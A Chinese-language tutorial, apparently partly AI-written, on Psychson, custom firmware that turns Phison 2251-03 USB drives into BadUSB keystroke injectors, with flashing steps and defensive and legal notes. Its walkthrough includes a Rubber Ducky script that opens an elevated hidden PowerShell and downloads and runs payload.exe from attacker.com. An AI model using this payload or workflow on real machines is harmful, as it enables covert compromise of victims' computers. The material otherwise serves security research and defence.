
Psychson技术深度解析如何通过Phison 2251-03控制器实现BadUSB攻击【免费下载链接】PsychsonPhison 2251-03 (2303) Custom Firmware Existing Firmware Patches (BadUSB)项目地址: https://gitcode.com/gh_mirrors/ps/PsychsonPsychson是一个专门针对Phison 2251-032303USB控制器的开源项目提供完整的定制固件和现有固件补丁解决方案使安全研究人员能够实现BadUSB攻击、隐藏分区创建和固件级安全测试。该项目通过修改USB设备的底层固件使其在插入计算机时模拟键盘输入执行恶意命令为硬件安全研究提供了强大的工具支持。概念解析Psychson的技术架构与工作原理8051微控制器架构与USB HID协议Psychson的核心在于Phison 2251-03控制器使用的8051微控制器架构。这种8位微控制器广泛应用于USB闪存设备中负责管理NAND闪存读写和USB通信。Psychson项目通过逆向工程掌握了该控制器的固件结构实现了对设备底层行为的完全控制。USB HIDHuman Interface Device协议是Psychson实现BadUSB功能的关键技术基础。通过将设备伪装成标准HID设备如键盘Psychson固件能够在设备连接时自动执行预编程的键盘输入序列。固件中的HID报告描述符定义了设备如何被操作系统识别static const BYTE HIDreportDescriptor[] { 0x05, 0x01, 0x09, 0x06, 0xA1, 0x01, 0x05, 0x07, 0x19, 0xE0, 0x29, 0xE7, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01, 0x75, 0x08, 0x81, 0x01, 0x95, 0x05, 0x75, 0x01, 0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02, 0x95, 0x01, 0x75, 0x03, 0x91, 0x01, 0x95, 0x06, 0x75, 0x08, 0x15, 0x00, 0x25, 0x65, 0x05, 0x07, 0x19, 0x00, 0x29, 0x65, 0x81, 0x00, 0xC0 };这段描述符定义了设备作为键盘的USB HID报告格式包含8个按键位、5个LED指示灯位和6个字节的键盘扫描码缓冲区。Psychson项目组件架构Psychson采用模块化设计包含五个核心组件DriveComC#编写的Windows应用程序通过SCSI Pass-Through Direct接口与Phison设备通信支持固件提取和刷写功能EmbedPayload将Rubber Ducky格式的键盘脚本嵌入定制固件的工具Injector从固件中提取地址信息并嵌入补丁代码的实用程序firmware基于8051架构的定制固件C源代码patch固件补丁集合提供隐藏分区、密码保护和防引导模式等功能技术要点Psychson通过SCSI命令与USB设备通信绕过了常规文件系统接口直接与控制器固件交互。这种底层通信方式使得项目能够实现固件级的修改和控制。架构设计Psychson的固件修改机制固件内存布局与注入点Psychson固件的核心机制是在固件镜像中预留特定的内存区域用于payload注入。在firmware/main.c中定义了键盘数据缓冲区#define KEY_BUFFER_SIZE 0x2000 static const BYTE keyData[KEY_BUFFER_SIZE] { 0x12, 0x34, 0x56, 0x78 }; int key_index 0; volatile BYTE send_keys_enabled 0;0x12, 0x34, 0x56, 0x78这四个字节作为签名标记EmbedPayload工具会在固件中搜索这个签名并在该位置注入实际的键盘payload数据。这种设计使得固件可以在编译后动态注入不同的攻击脚本。SCSI通信协议实现DriveCom工具通过Windows的SCSI Pass-Through Direct接口与设备通信。在DriveCom/DriveCom/PhisonDevice.cs中定义了与Phison设备通信的数据结构[StructLayout(LayoutKind.Sequential)] class SCSI_PASS_THROUGH_DIRECT { private const int _CDB_LENGTH 16; public short Length; public byte ScsiStatus; public byte PathId; public byte TargetId; public byte Lun; public byte CdbLength; public byte SenseInfoLength; public byte DataIn; public int DataTransferLength; public int TimeOutValue; public IntPtr DataBuffer; public uint SenseInfoOffset; [MarshalAs(UnmanagedType.ByValArray, SizeConst _CDB_LENGTH)] public byte[] Cdb; }通过这个接口DriveCom可以发送特定的SCSI命令如0xBF用于进入引导模式0x06用于读写内存实现对设备固件的完全控制。这张图片展示了Phison 2251-03控制器进入Boot模式的关键步骤。图中红色箭头指示了需要短接的特定引脚位置这是固件刷写前的必要操作。控制器芯片上的PHISON 2251-03字样清晰可见周围有电容、电阻等元件红色标记点指示了短接位置确保设备能够进入引导模式接受新固件。实战演练完整的BadUSB攻击流程环境准备与工具构建首先需要克隆项目仓库并设置构建环境git clone https://gitcode.com/gh_mirrors/ps/Psychson cd Psychson项目使用SDCCSmall Device C Compiler编译8051固件代码。确保SDCC已安装到C:\Program Files\SDCC目录。对于Windows环境还需要安装.NET Framework以编译C#工具。步骤1提取原始固件使用DriveCom工具从目标设备提取固件tools\DriveCom.exe /driveE /actionDumpFirmware /burnerBN03V104M.BIN /firmwareoriginal_fw.bin参数说明/driveE目标设备盘符/actionDumpFirmware执行固件提取操作/burnerBN03V104M.BIN烧录器镜像路径/firmwareoriginal_fw.bin输出固件文件注意事项目前仅支持200KB大小的固件镜像提取这是Patriot 8GB Supersonic Xpress驱动器使用的规格。确保使用与控制器版本和NAND芯片匹配的正确固件镜像。步骤2创建Rubber Ducky攻击脚本创建键盘输入脚本文件attack.txtDELAY 3000 GUI r DELAY 500 STRING cmd.exe ENTER DELAY 1000 STRING powershell -WindowStyle Hidden -Command Start-Process cmd -Verb RunAs ENTER DELAY 2000 STRING powershell -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\Windows\Temp\payload.exe; Start-Process C:\Windows\Temp\payload.exe ENTER使用DuckEncoder转换为二进制格式java -jar duckencoder.jar -i attack.txt -o inject.bin步骤3嵌入攻击payload到固件使用EmbedPayload工具将攻击脚本嵌入定制固件copy CFW.bin attack_fw.bin tools\EmbedPayload.exe inject.bin attack_fw.binEmbedPayload工具的工作原理是在固件中搜索0x12 0x34 0x56 0x78签名并将payload数据写入该位置。工具源代码中的关键逻辑// 在固件数据中搜索签名 var signature new byte[] { 0x12, 0x34, 0x56, 0x78 }; int? address null; for (int i 0; i data.Length; i) { bool match true; for (int j 0; j signature.Length; j) { if (data[i j] ! signature[j]) { match false; break; } } if (match) { address i; break; } }步骤4刷写定制固件到设备将修改后的固件刷写到目标设备tools\DriveCom.exe /driveE /actionSendFirmware /burnerBN03V104M.BIN /firmwareattack_fw.bin刷写完成后设备将作为BadUSB设备运行。当插入计算机时它会自动执行嵌入的键盘输入序列。步骤5验证攻击效果设备连接后操作系统会将其识别为HID键盘设备。在Windows设备管理器中查看人体学输入设备类别应该能看到新添加的键盘设备。攻击脚本会在设备连接后自动执行无需用户交互。最佳实践在测试环境中验证攻击效果确保payload按预期执行。可以使用虚拟机环境进行安全测试避免对生产系统造成影响。高级定制固件补丁与功能扩展隐藏分区补丁实现Psychson提供了隐藏分区功能可以将USB设备的一部分容量隐藏起来用于存储敏感数据。在patch/base.c中启用隐藏分区功能//#define FEATURE_CHANGE_PASSWORD #define FEATURE_EXPOSE_HIDDEN_PARTITION //#define FEATURE_PREVENT_BOOT #define NUM_LBAS 0xE6C980UL // 需要是偶数(向下取整)首先确定设备的逻辑块数量tools\DriveCom.exe /driveE /actionGetNumLBAs将固件镜像放入patch目录并命名为fw.bin然后运行构建脚本cd patch build.bat构建完成后在patch\bin\fw.bin生成修改后的固件镜像使用DriveCom刷写到设备。密码保护补丁密码补丁为设备添加访问控制功能需要输入正确密码才能访问设备#define FEATURE_CHANGE_PASSWORD //#define FEATURE_EXPOSE_HIDDEN_PARTITION //#define FEATURE_PREVENT_BOOT密码补丁修改了SCSI命令处理逻辑在patch/base.c中添加了密码验证机制。设备连接后会要求输入预设密码只有密码正确才能访问存储内容。防引导模式补丁这个补丁使设备不再响应进入引导模式的命令增加设备的隐蔽性和安全性//#define FEATURE_CHANGE_PASSWORD //#define FEATURE_EXPOSE_HIDDEN_PARTITION #define FEATURE_PREVENT_BOOT刷写此补丁后设备将无法通过常规命令进入引导模式。如果需要再次更新固件需要物理短接控制器引脚。对于需要高度安全性的场景可以在刷写后使用环氧树脂封装设备。技术要点防引导模式补丁通过修改SCSI命令0xBF的处理逻辑实现。当接收到进入引导模式的命令时补丁代码会忽略该命令或返回错误响应防止未经授权的固件更新。从源码构建定制固件如果需要深度定制固件功能可以修改源代码后重新构建修改firmware目录中的C文件定制固件行为或修改patch目录中的文件添加自定义补丁在相应目录中运行build.bat刷写生成的固件到设备# 刷写定制固件 tools\DriveCom.exe /driveE /actionSendFirmware /burnerBN03V104M.BIN /firmwarefirmware\bin\fw.bin # 或刷写补丁固件 tools\DriveCom.exe /driveE /actionSendFirmware /burnerBN03V104M.BIN /firmwarepatch\bin\fw.bin安全研究与防御建议攻击检测与防护基于Psychson的BadUSB攻击具有高度隐蔽性但可以通过以下方法检测和防护USB设备审计监控新连接的USB设备特别是HID设备设备指纹识别检查设备的厂商ID、产品ID和序列号行为分析检测异常的键盘输入模式固件验证实现USB设备固件的完整性检查合法使用场景Psychson项目在合法场景下有重要应用价值安全研究了解USB设备的安全漏洞和攻击向量渗透测试在授权范围内测试组织的物理安全防护数字取证恢复被锁定的USB设备数据设备修复修复因固件损坏而无法使用的USB设备法律与伦理考虑使用Psychson及相关技术必须遵守法律法规获得明确授权仅在拥有所有权的设备或获得明确书面授权的设备上使用遵守当地法律了解并遵守所在国家/地区关于计算机安全的法律法规伦理责任不将技术用于非法监控、数据盗窃或其他恶意目的安全披露发现安全漏洞时应负责任地披露给相关厂商技术挑战与解决方案兼容性问题Psychson目前主要支持Phison 2251-03控制器和特定固件版本1.03.53。对于其他控制器版本可能需要调整内存地址映射不同固件版本可能有不同的内存布局SCSI命令集控制器可能使用不同的命令代码时序参数USB通信时序可能需要调整构建环境配置项目依赖SDCC编译器配置时需要注意编译器版本使用与项目兼容的SDCC版本路径设置确保SDCC安装在C:\Program Files\SDCC依赖库安装必要的C标准库和头文件硬件识别与支持识别兼容设备是成功实施的关键控制器型号使用芯片检测工具确认控制器为Phison 2251-03固件版本通过DriveCom工具读取设备信息NAND芯片确认NAND芯片类型与固件兼容总结与展望Psychson项目展示了USB设备固件级别的安全研究价值通过深入理解Phison 2251-03控制器架构实现了从固件提取、修改到刷写的完整工具链。该项目不仅为安全研究人员提供了强大的测试工具也揭示了消费级USB设备可能存在的安全风险。随着USB设备的普及和功能复杂化固件安全变得越来越重要。Psychson的技术思路可以扩展到其他USB控制器型号推动整个行业对设备安全性的重视。未来可能的发展方向包括多控制器支持扩展到其他Phison控制器型号自动化测试开发自动化测试框架验证固件安全性防御工具基于研究成果开发防护工具标准化推动USB设备固件安全标准的制定通过深入研究和负责任地使用Psychson及相关技术安全社区可以更好地理解USB设备的安全边界开发更有效的防护措施最终提升整个生态系统的安全性。重要声明Psychson是实验性软件。在不支持的设备上使用甚至在支持的设备上使用都可能导致数据丢失或设备永久损坏。请仅在您拥有所有权的设备上使用并自行承担风险。技术的使用应遵守所有适用法律和道德准则。【免费下载链接】PsychsonPhison 2251-03 (2303) Custom Firmware Existing Firmware Patches (BadUSB)项目地址: https://gitcode.com/gh_mirrors/ps/Psychson创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考